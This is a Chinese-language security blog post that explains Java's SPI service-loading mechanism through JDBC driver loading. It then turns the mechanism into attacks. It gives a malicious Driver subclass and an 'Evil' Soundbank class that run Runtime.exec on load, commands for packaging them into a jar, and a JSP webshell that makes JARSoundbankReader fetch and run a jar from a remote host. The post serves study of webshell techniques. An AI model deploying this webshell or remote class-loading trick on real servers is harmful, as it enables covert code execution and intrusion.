前言
最近在翻阅yzddmr6师傅博客的时候,发现师傅还有个github的地址
https://github.com/yzddmr6/MyPresentations
里面发现师傅去补天白帽子大会上讲解了一些webshell的攻防,特此进行了学习,然后发现了一个很有意思的webshell,不得不说yzddmr6师傅真的tql了,对spi机制又更了解了一点
因为可能刚入门webshell的可能对文章看不懂,因此一些基础知识点也会进行讲解
SPI机制的利用
SPI机制
什么是SPI机制呢?
拼出来就是Service Provider Interface,是JDK内置的一种服务提供发现机制
其实这样讲是理解不到的,说人话就是它会加载你
META-INF/services中的配置文件中指定实现接口的类
比如我们的JDBC,下面会举例子,这里不详细讲了
SPI核心方法和类
Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:
① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<s> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。</s>
<s>
② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。
③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。
④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。
JDBC中的SPI
首先我们思考一下为什么JDBC中需要我们的SPI机制呢?
那就是涉及到我们JDBC连接数据库的操作了
JDBC连接数据库
必不可少的一步就是加载数据库驱动,它来完成我们的连接操作,一般是使用Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序
基本的流程是
1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。
2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。
3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。
4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。
5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。
下面举个例子
package MYSQL;
import javax.xml.transform.Result;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;
public class JDBC_Connection_example {
public static void main(String[] args) throws Exception{
Properties properties=new Properties();
properties.setProperty("user","root");
properties.setProperty("password","123456");
String URL = "jdbc:mysql://127.0.0.1:3306/security";
DriverManager.registerDriver(new com.mysql.jdbc.Driver());
Connection connection=DriverManager.getConnection(URL,properties);
Statement statement=connection.createStatement();
String sql="select * from users";
ResultSet result=statement.executeQuery(sql);
int columnCount = result.getMetaData().getColumnCount();
// 打印查询结果
while (result.next()) {
for (int i = 1; i <= columnCount; i++) {
// 通过列索引获取列值,并打印
System.out.print(result.getString(i) + "\t");
}
System.out.println();
}
result.close();
statement.close();
connection.close();
}
}
为什么JDBC要有SPI
- 动态加载驱动
通过 SPI 机制,JDBC 驱动可以在运行时动态加载,而不需要在代码中硬编码驱动类名。这样可以使代码更加灵活和可扩展。
在没有 SPI 机制之前,开发者需要显式地注册驱动:
Class.forName("com.mysql.cj.jdbc.Driver");
有了 SPI 机制之后,驱动可以通过 DriverManager
自动加载:
Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");
- 提高可插拔性
SPI 机制使得 JDBC 驱动具有高度的可插拔性,用户可以轻松更换或添加新的数据库驱动而不需要修改现有代码。这对于支持多种数据库的应用程序非常重要。
- 简化配置
应用程序不需要显式地配置和管理 JDBC 驱动,只需要确保驱动 JAR 文件在类路径中,SPI 机制会自动发现和加载这些驱动。这大大简化了应用程序的配置和部署过程。
- 支持多种实现
通过 SPI 机制,不同的数据库供应商可以提供自己的 JDBC 驱动实现,而应用程序可以通过统一的 JDBC API 访问不同的数据库。这样,应用程序代码不需要依赖于具体的数据库实现,可以更加通用和灵活。
SPI机制实现分析
JDBC连接会实例化DriverManager.registerDriver(new com.mysql.jdbc.Driver());
然后我们看到这个类的静态代码
static {
try {
DriverManager.registerDriver(new Driver());
} catch (SQLException var1) {
throw new RuntimeException("Can't register driver!");
}
}
会调用DriverManager
类的registerDriver
方法,因此JVM又会去加载DriverManager
类,加载过程中DriverManager
的静态代码块被执行
我们看到它的代码
调用loadInitialDrivers();加载初始程序
内部调用doPrivileged,这个方法会实例化 SPI 机制的核心类然后调用load去实现spi机制
获取当前类加载器去加载
最后会来到hasNextService去加载
实现SPI的恶意利用
简单示例
那这样说我们是不是只需要在配置文件中如果能够有我们的恶意类,并且实现我们的Driver接口就可以恶意利用
创建一个恶意类
package MYSQL;
import com.mysql.jdbc.Driver;
import java.io.IOException;
import java.sql.SQLException;
public class calc extends Driver {
static {
Runtime runtime=Runtime.getRuntime();
try {
runtime.exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public calc() throws SQLException {
}
}
配置文件写上
运行我们jdbc连接
发现弹出计算器
JARSoundbankReader类webshell利用
方法分析
我们跟进它的getSoundbank方法
public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {
if (!isZIP(var1)) {
return null;
} else {
ArrayList var2 = new ArrayList();
URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});
InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");
if (var4 == null) {
return null;
} else {
try {
BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));
for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {
if (!var6.startsWith("#")) {
try {
Class var7 = Class.forName(var6.trim(), false, var3);
if (Soundbank.class.isAssignableFrom(var7)) {
Object var8 = ReflectUtil.newInstance(var7);
var2.add((Soundbank)var8);
}
} catch (ClassNotFoundException var14) {
} catch (InstantiationException var15) {
} catch (IllegalAccessException var16) {
}
}
}
} finally {
var4.close();
}
if (var2.size() == 0) {
return null;
} else if (var2.size() == 1) {
return (Soundbank)var2.get(0);
} else {
SimpleSoundbank var18 = new SimpleSoundbank();
Iterator var19 = var2.iterator();
while(var19.hasNext()) {
Soundbank var20 = (Soundbank)var19.next();
var18.addAllInstruments(var20);
}
return var18;
}
}
}
}
首先检查是否为 ZIP 文件,然后创建一个 URLClassLoader
来加载 ZIP 文件的资源,并尝试从其中获取 META-INF/services/javax.sound.midi.Soundbank
文件的输入流。
通过输入流读取配置文件中的内容,逐行解析每个类名。其实恶意构造只需要一个类
- 使用
Class.forName
动态加载类。 - 检查该类是否实现了
Soundbank
接口。
所以我们构造的恶意类需要实现Soundbank接口
我们现在来构造恶意类
根据上面的SPI恶意利用的原理,我们可以使用类似的方法去制作恶意的jar包
jar包制作
目录结构如下
然后因为是加载javax.sound.midi.Soundbank中的类
我们在这个文件写入
写入你自己的恶意类的包名
nn0nkey.Evil
恶意类构造
恶意类需要实现Soundbank接口,就需要重写它的方法
然后在其中注入恶意代码
POC如下
package nn0nkey;
import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.Soundbank;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;
public class Evil implements Soundbank {
public Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getName() {
return null;
}
@Override
public String getVersion() {
return null;
}
@Override
public String getVendor() {
return null;
}
@Override
public String getDescription() {
return null;
}
@Override
public SoundbankResource[] getResources() {
return new SoundbankResource[0];
}
@Override
public Instrument[] getInstruments() {
return new Instrument[0];
}
@Override
public Instrument getInstrument(Patch patch) {
return null;
}
}
然后运行命令构造jar包
```bash
javac src/nn0nkey/Evil.java
jar -cvf Evil.jar -C src/ .
```
本地测试
然后把我们的jar包放到服务器上,然后去访问
import com.sun.media.sound.JARSoundbankReader;
import java.net.URL;
public class text {
public static void main(String[] args) throws Exception {
JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
URL url=new URL("http://ip/Evil.jar");
jarSoundbankReader.getSoundbank(url);
}
}
运行弹出计算器
构造webshell
<%@ page import="com.sun.media.sound.JARSoundbankReader" %>
<%@ page import="java.net.URL" %>
<%
JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();
URL url=new URL("http://ip/Evil.jar");
jarSoundbankReader.getSoundbank(url);
%>
</s>